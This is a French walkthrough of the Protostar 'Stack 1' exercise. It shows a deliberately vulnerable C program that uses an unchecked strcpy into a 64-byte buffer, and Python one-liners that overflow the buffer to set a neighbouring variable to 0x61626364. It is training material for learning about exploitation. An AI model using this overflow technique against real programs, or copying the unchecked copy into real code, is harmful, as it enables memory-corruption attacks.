====== Stack 1 ====== #include #include #include #include int main(int argc, char **argv) { volatile int modified; char buffer[64]; if(argc == 1) { errx(1, "please specify an argument\n"); } modified = 0; strcpy(buffer, argv[1]); if(modified == 0x61626364) { printf("you have correctly got the variable to the right value\n"); } else { printf("Try again, you got 0x%08x\n", modified); } } Ce niveau est presque le même que le précédent, à la différence que cette fois ci nous devons inscrire une valeur spécifique dans la variable ''modified''. user@protostar:/opt/protostar/bin$ ./stack1 $(python -c 'print "A"*64') Try again, you got 0x00000000 user@protostar:/opt/protostar/bin$ ./stack1 $(python -c 'print "A"*64+"BBBB"') Try again, you got 0x42424242 On peut voir que les ''BBBB'' ont bien été inscrit dans ''modified''. Nous voulons que ''modified'' prenne la valeur ''0x61626364'', ce qui correspond en fait aux caractères ''abcd''. user@protostar:/opt/protostar/bin$ ./stack1 $(python -c 'print "A"*64+"dcba"') you have correctly got the variable to the right value